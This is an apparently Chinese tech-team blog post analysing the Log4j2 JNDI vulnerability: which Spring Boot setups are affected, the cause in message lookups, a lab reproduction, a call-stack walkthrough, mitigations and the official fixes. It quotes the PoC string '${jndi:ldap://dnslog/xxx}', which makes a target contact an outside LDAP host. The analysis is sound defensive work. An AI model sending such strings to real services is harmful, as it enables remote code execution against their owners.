log4j2漏洞简单小计

image.png image.png

写在前面

log4j2 核弹级漏洞最近被公开了。log4j2 作为 log4j 的替代者,有着非常广泛的使用。因为几乎没有利用条件的限制,漏洞公开带来的影响极大。甚至于将无线耳机的名字改成漏洞利用代码都能在意想不到的服务中触发漏洞,许许多多技术员也是因此一夜无眠。

影响求证

在漏洞公开的伊始,许多漏洞通告都提到只要存在 log4j-api、log4j-core 依赖就会被影响。

如果我们新建一个 Spring Boot 项目,在引入 spring-boot-starter 依赖时默认会引入 spring-boot-starter-logging,而其中包含 log4j 的依赖包,那 Spring Boot 不是默认受影响?非也, Spring Boot 实际上默认使用 logback 进行日志实现,slf4j 进行抽象层管理,所以,默认情况下并不受影响。

只看依赖判断是否受影响的做法是有些不严谨的,许多通告方都没有仔细求证,为了验证,我用测试项目来试一下。

写一个会将输入写入日志的接口:

访问一下,日志写入。

接下来下断点看是什么日志组件进行了处理,跟踪断点,可以看到是 logback 对日志进行了处理:

log4j 和 logback 都会被 spring-boot-starter-logging 组件默认引入,但 Spring Boot 默认会使用 logback 进行日志的实际输出。所以,虽然 Spring Boot 默认引入了 log4j 但并不受影响。

因此,网上部分文章说的引入依赖就算被影响实际上是不准确、不严谨的。虽然这样写可以吸引眼球,引起重视,但是也对漏洞影响排查造成了干扰,并不可取。

作为技术从业者,我们不要听风就是雨,对于漏洞应小心求证,细心排查,严谨处理。当然这个漏洞的影响还是极其巨大的,作为一种软件的”基础设施“,有许多的组件都使用了它作为日志实现,例如 es、Struts2、Solr 等等众多组件与服务。

再补上一个受影响的 log4j 进行日志记录,手动使用 log4j 处理日志,这样就由 log4j 进行日志处理了:

漏洞成因

网络上流传最广的是使用 JNDI 进行 LDAP DNS 查询来确定是否受漏洞影响的 PoC(${jndi:ldap://dnslog/xxx}),根据这个 PoC 我们可以简单判定是因为 JNDI LDAP 查询远程 class 并进行加载造成了攻击。

这个漏洞实际上是官方支持的一种功能,官方支持在日志设置时使用 ${xxx} 进行动态设置官网描述,并且支持日志输出时使用如 log.info("${sys:java.version}) 动态获取并输出一些内容。而后面这个功能也支持 JNDI 协议,所以暴露在了 JNDI 注入攻击(JNDI 远程类加载攻击)之中。

这里简单介绍一下这种攻击,JNDI 全称为 Java Naming and Directory Interface,是一种类似于索引中心的API功能,可以用于实现动态配置的功能。当代码中 jndiName 变量可控时,发起查询的客户端就会从服务端加载远程 class 文件,最终导致命令执行。

JNDI LDAP 注入攻击的过程简单来说就是:攻击者发送恶意 JNDI LDAP 查询——被攻击服务接受并发起查询——从恶意 JNDI 服务上下载 class ——本地加载 class ——触发 class 中预置的恶意代码。

JAVA 官方对这个问题进行过修复,从 JAVA 1.8_191 起默认不信任远程 codebase,即远程 class 文件不会被自动加载,所以在 JAVA 1.8_191 及以后只能从本地 class 文件加载。 更多的详情在blackhat议题中有更加详细的描述。

漏洞复现

为了方便测试复现漏洞可以使用低版本 JAVA 环境来测试,这里我使用过低于 JAVA 1.8_191 的版本测试。

最初使用 JNDI-Injection-Exploit 与 marshalsec(这两款测试工具都有 LDAP 服务功能,可以在 GItHub 找到)生成弹出计算器 PoC 进行测试时没有成功。简单跟踪代码断点后,我发现如果直接使用 logger 对象后只引入了 log4j-api 组件,实际日志在 slf4j 处理后实际上被 logback 输出了,并没有使用 log4j 进行输出。

这里也侧面说明了项目中有 log4j-api 依赖就被漏洞影响的说法也是不准确的,必须要有 log4j-core 依赖,因为触发漏洞的代码实际在这个组件包中,在排查受影响服务时也应该以 log4j-core 依赖为准,下文中会有体现。

继续测试,先排除原有的 spring-boot-starter-logging 依赖,测试项目是在 spring-boot-starter-web 组件的 spring-boot-starter 依赖组件中引入了 spring-boot-starter-logging ,所以要此组件引入处的 pom 配置处排除 spring-boot-starter-logging。

之后直接按照 IDE 的提示引入 log4j-api,这时进行测试会报错,提示我们需要引入 log4j-core。

引入 log4j-core 依赖后再执行日志记录动作,触发了 LDAP 查询动作,弹出计算器。

具体分析

按照惯例先贴一下调用栈

c_lookup:1017, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:223, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:543, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:502, LoggerConfig (org.apache.logging.log4j.core.config)
log:485, LoggerConfig (org.apache.logging.log4j.core.config)
log:460, LoggerConfig (org.apache.logging.log4j.core.config)
log:82, AwaitCompletionReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2198, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2152, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2135, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2011, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
logTest:13, LogTest (com.examplespring.demo.controller)
LogTest:14, TestController (com.examplespring.demo.controller)

在调用栈里我们可以看到关键的几个动作:

lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:223, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)

这几个漏洞触发的关键动作都在 log4j-core 依赖中,也印证了前面说的有 log4j-api 依赖就有问题是不准确的,实际上修复漏洞首先需要关注 log4j-core 依赖。

从 toText 这个函数开始跟进,这里开始转化 event 内容进行输出。

toSerializable 函数遍历使用 PatternFormatter 对 event 进行格式化。

在第15个 PatternFormatter —— MessagePatternConverter 进行操作时,event 中如果有 ${ 就会进行替换。

这里打个岔,可以看到进入替换逻辑有 noLookups 为 false 的前提,所以这里就有了临时修复方案——将这个变量设置为 true,而这个变量就是 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 常量,来源于从配置中查找 log4j2.formatMsgNoLookups 的值,如果不配置则其默认值为 false。

言归正传,后续调用 substitute 递归解析文本中的变量值,注释中也有说明。

resolveVariable 进行具体的变量解析,后续就是 lookup 调用,在这里 jndiName 已经被输入完全控制。最终调用了 JAVA 的 lookup,所以也受 JAVA 环境限制。

上述的操作在 JAVA 1.8_191 前因为默认信任外部 codebase 是可以进行的,在 JAVA 1.8_191 后不再信任外部 codebase 所以使用外部类不再可行,许多的通告中都提到了这一点。但是本地存在的类还是可以利用的,而 Spring Boot 默认带有 tomcat 依赖,可以通过这种类似的本地类执行代码,还是比较容易利用的,可以参考Exploiting JNDI Injections in Java和[dubbo反序列化(CVE-2020-1948)可用链路学习中的利用。

临时措施

根据前文内容我们可以简单得出一些临时解决方式

  • 设置 jvm 启动参数 "-Dlog4j2.formatMsgNoLookups=true"(先升级到2.10+)
  • 在添加额外的 log4j2.component.properties 配置文件,增加“log4j2.formatMsgNoLookups=True”配置(同上)

使用临时方案后可以在应用启动后打印 org.apache.logging.log4j.core.util.Constants.FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 参数,如果是 true 就已经关闭了 Message lookup 功能。

另外,高版本的JAVA环境也能增加利用难度,但不能作为临时修复方案!不能作为临时修复方案!不能作为临时修复方案!重要的事情说三遍。

顺便吐槽一下网上部分的临时修复措施都提到了添加 "log4j2.formatMsgNoLookups=True" 配置的方案,但没说到底在哪里添加。我设置了 application.properties 和 log4j2.properties 都没有效果,最后在代码里面才找到需要设置的是 log4j2.component.properties 配置文件。

官方修复

官方在漏洞公开前发布了 log4j-2.15.0-rc1 预览版对此问题进行了修复,然而很快就爆出可以利用路径空格报错跳过处理流程直接触发 lookup 查询,而后官方又发布了 log4j-2.15.0-rc2 修复这个问题,并以 rel/2.15.0 发布正式版。

但此事并未告一段落,在后续几天中官方又发布了 log4j-2.15.1-rc1 预览版,默认关闭 JNDI。

接下来在 log4j-2.16.0-rc1 中又直接去掉了 Message 的 lookup 查询功能。

截止到纂稿时,rel/2.16.0 正式版已经发布,Message 的 lookup 功能已经被去除。

写在最后

随着 2.16.0 正式版发布,漏洞的官方修复工作应该是告一段落了,但是技术猿们的工作远未结束。自己的项目依赖可以直接修改,但许多组件的依赖更新还需要相应的组件官方团队对其进行更新测试并发布安全版本,漏洞修复之路远未结束,在依赖库中的旧版本没有被完全消灭之前,防御设备的告警依然紧扣技术猿们的心弦,让人宛如惊弓之鸟。

谨以此文祭奠广大技术猿逝去与即将逝去的烦恼丝 :) 。21.12.13

推荐阅读

Guava Cache实战—从场景使用到原理分析

详解 HTTP2.0 及 HTTPS 协议

微信公众号

文章同步发布,政采云技术团队公众号,欢迎关注

image.png